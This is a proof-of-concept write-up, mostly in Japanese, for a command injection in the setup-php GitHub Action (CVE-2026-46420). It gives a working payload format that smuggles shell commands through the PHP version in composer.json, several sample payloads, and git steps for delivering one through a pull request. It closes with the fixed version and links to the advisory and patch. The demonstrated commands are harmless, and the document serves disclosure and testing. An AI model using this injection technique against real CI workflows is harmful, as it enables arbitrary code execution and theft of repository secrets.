
PoC for CVE-2026-46420, command injection in shivammathur/setup-php via repository-controlled PHP version resolution.
shivammathur/setup-php において、リポジトリ管理下のファイルから PHP バージョンを読み込む際に発生するコマンドインジェクション。
影響を受けるバージョン:
>= 2.25.0, < 2.37.1
修正済みバージョン:
>= 2.37.1
対象リポジトリには、プルリクエストの内容をチェックアウトして [email protected] を実行する、脆弱性のあるワークフローがすでに存在します。
攻撃者は composer.json を変更するだけです。
-"php": "8.2"
+"php": [
+ "8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #"
+]
setup-php が composer.json から PHP バージョンを読み取ると、注入されたコマンドが生成されたシェルスクリプトに含まれ、実行されます。
結果:
-FEATURE_FLAG=off
+FEATURE_FLAG=modified-by-poc
対象リポジトリからブランチを作成します:
git checkout -b poc-test
クリーンな composer.json を PoC 版に置き換えます:
cp attacker/composer.json composer.json
コミットしてプッシュします:
git add composer.json
git commit -m "update composer config"
git push -u origin poc-test
poc-test から main へのプルリクエストを開きます。
Actions の実行結果に、setup-php ステップの間に demo-app/.env.example が変更されたことが表示されるはずです。
ペイロードの形式は次のとおりです:
8.2;<COMMAND> #
現在のペイロード:
8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #
実行されるコマンドは次のとおりです:
sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example
PoC の動作を変更するには、8.2; と # の間のコマンドを置き換えます。
ファイルを作成する場合:
8.2;touch poc-executed #
ファイルに書き込む場合:
8.2;printf 'poc executed\n' > poc-result.txt #
コマンドの出力を表示する場合:
8.2;id #
composer.json の例:
{
"config": {
"platform": {
"php": [
"8.2;touch poc-executed #"
]
}
}
}
[email protected] 以降にアップグレードしてください。
パッチ適用済みバージョンでは、同じペイロードは拒否されます。
https://github.com/shivammathur/setup-php/security/advisories/GHSA-pqwm-q9pv-ph8r
https://github.com/shivammathur/setup-php/commit/eeef37e059fb5368a5bc8ed8ce45ff54bd39b80b